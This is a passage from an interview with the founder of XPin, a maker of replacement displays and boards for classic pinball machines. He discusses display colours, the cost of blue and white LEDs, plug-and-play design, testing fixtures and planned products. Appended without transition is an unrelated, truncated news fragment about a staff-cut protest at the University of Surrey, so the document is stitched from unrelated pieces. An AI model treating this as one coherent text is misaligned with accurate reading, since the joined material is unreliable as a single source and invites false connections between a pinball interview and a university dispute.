BD: 7Volution is an idea that came to me in 2008 or 2009 at the Northest Pinball show. I took a Bally Six Million Dollar Man to the show with my (then) Pinscore display system in it. A gentleman played the game and it was amazing the way he was playing. While I was sitting there at my booth I saw this man roll the game 3 times! Afterwards we talked about how all of these great classic Bally and Sterns would never keep the high scores if rolled. This started me down the path…
CD: I find it really cool that Xpin customers can customize the look of their game by choosing the colour of their displays. Generally speaking, does one colour outsell the others?
BD: Surprisingly Orange is still the preferred color, at a rate of about two to one!
CD: I noticed a slight price difference between some of the colour choices, with blue being more expensive than the red and stock orange. Why is this?
BD: It is all about chemistry. To manufacture blue or white, a different set of elements are required to get to those colors. Elements for red, orange, and green are more readily available. The elements used to create Blue and White generally cost two to three times more than the other colors, so they end up costing a few more dollars.
CD: Are all of your display products plug and play?
BD: Yes, everything is plug and play…with a caveat. WPC games with dot matrix displays have an exception when it comes to the colors Blue and White. There is an original design flaw in the dot matrix controllers. Blue and White draw more current because the blue and white LED requires more current (it is that chemistry and element thing mentioned previously). Realizing this I developed plug-in modules, my X-Bridge XP-WPC-HV and XP-WPC95-HV. These boards compensate for the original board shortcomings.
CD: Xpin is known for their replacement displays, but you carry a lot of other replacement boards as well. What is your best selling product in that area?
BD: The power supply arena is a big one. My universal Williams power supply, XP-WMS8345, is my most popular. It can be installed in every Williams Sys 3-11b that used either the Williams part number C-7999 or D-8345. It also will work in all of the Data East games that used alpha numeric displays. That is 51 different titles serviced by one board!
CD: What do you do to ensure your customers are receiving the best possible replacement parts for their games?
BD: Component selection is always a key in any redesign effort, along with an understanding as to what is expected by the end-user. This of course is a major part of the product development, but the manufacturing of the product is just as important to maintain quality control. Every product has a test fixture that is used–the fixture will test as much of the product as possible.
For example, the XPin dot matrix display has over 300 components on it. Look at each individual trace on the board– if you laid them end to end, you would have about 300 feet of copper trace. Over 2,000 holes are drilled into that board. When you have that much happening, you do not skimp on testing. Most boards go through at least 2 minutes of functional testing before they are released from production for packaging. Every few months I do a random sample and put them on a test fixture for a couple of days. There are a lot of great engineers capable of doing what I have done from the design side, but managing the production side is a whole different ball game, and if you have that down, you will end up with a great product.
CD: When developing new products, be it a board or a display, what are some of the factors that are considered?
BD: Considerations for any product development come from my customers. I give all suggestions consideration. Some are actually quite doable, but then it comes down to how much will it cost to execute. In turn, you also have to consider reasonable expectations for a retail price. Also, when considering a new project, I look at how many games will it go into. Take for example Williams’ Banzai Run. That game’s display is completely unique. It was never used in another game, but I still made it. Why? BR is a very collectable game. I currently use the driver board in my XP-WMS10877 system. I just needed the big board and connection mechanism. I look at all of the designs this way.
CD: Are there any memorable design challenges that Xpin has overcome in updating PCB technology over the years?
BD: Each design has its own challenges. I have three general requirements for each design:
1. Make it consume less power than the original design. This is a very important requirement because these products oftentimes are going into old, tired machines where the electronics may not be up to original specs.
2. Make it plug ’n’ play. Most of my customers tend not to be do-it-yourself hobbyists or knowledgeable about electronics. They usually can disconnect a few cables, take out screws and then replace them all with a new board. If they have to do much more than that then they will, more than likely, need to call a tech for help.
3. Make it as bullet-proof as I can. More times than not, someone is replacing an original board with an XPin product because something caused the original board to fail. If the time wasn’t taken to find the original failure, then the likelihood of continued failure is high, even after a board change.
CD: What are some of the improvements that Xpin has made over the original designs by the big names in pinball?
BD: In the displays you see some of the best improvements. Brightness control for display brightness, test buttons to illuminate all segments/dots. Along with this is the low power aspect. Lower power means less heat released by the older power supplies.
CD: How active is Xpin in the pinball community?
BD: I like to think I am very active. I frequent Pinside quite often. I sponsor tournaments when I can, such as the Retro Tournament at the Texas Pinball Festival. They will actually have two classic Bally games that will be running my 7Volution Systems this year. I am also scheduled to sit on the Pinball Developers Panel that will be at the Northwest Pinball and Arcade Show later this year. All of it very exciting!
CD: In talking with customers, have you found that they are primarily buying new displays to replace inoperable ones or buying to just give their pinball a fresh look?
BD: Most of my customers make the choice because of a failure or an obvious pending failure. Very few seem to be replacing the existing functional boards with my products just because it’s new.
CD: Can you give the readers a preview as to some of the products Xpin will be releasing in the near future?
BD: Let’s see…I have begun work on the Williams Sys3-6 7volution system. There is a lot of excitement there. I am also working on Gottlieb and Zacaria display sets. I have a few more items coming out but I waiting to announce those at Texas Pinball Festival.
CD: What are some thoughts about this new pinball “resurgence” we are all a part of? Do Xpin sales reflect the increased interest in the hobby?
BD: I think this is AWESOME! I love talking to these innovators. XPin is standing behind them 100%. Spooky Pinball currently uses a green XPin for its America’s Most Haunted and I will be there for their next title, too. I have also done preliminary work with other boutique pinball groups and I can only wish them well. I have a lot to offer to them with my ability and manufacturing contacts so in the long run I hope to become a partner in their success.
CD: What games are currently in Xpin’s pinball lineup? What are some of your all-time favourite games?
BD: At the moment I only have 3 games: Mars God of War, Cyclone, and Silverball Mania. I under some space constraints at the moment, but I have my own list of wants. I just have to convince my wife of the “business need” to purchase them.
CD: Do you have any closing comments for readers in the pinball community?
BD: You will not find a greater bunch than this group. I see this on the forums and when I meet them at the shows. I am very privileged to be part of such a great hobby and be able to provide something back to this hobby. Let’s keep on flipping!
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Mr. Davis can be reached at tech@xpinpinball.com, or you can visit XPin on the web. Products can be ordered directly from the XPin website, or through one of XPin’s fine partners, such as K’s Arcade or Bay Area Amusements. Look for Mr. Davis and XPin at this year’s Texas Pinball Festival March 27-29, 2015 and at the Northwest Pinball and Arcade Show June 5-7, 2015.
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More than 200 students and staff attended a protest barbecue on Wednesday to show their opposition to a proposed operational review which could lead to 100 university staff losing their jobs.
Academic and support staff at the Guildford-based University of Surrey are at risk following plans to merge two departments.
The politics department is one of the most affected and students, staff and graduates turned out to support their faculty.
Nick Belfitt, a 22-year-old politics and international relations student, said: “Lecturers who have worked with me for four years, who helped me through my degree and helped me to become the person I am, are now going to lose their jobs even though they |
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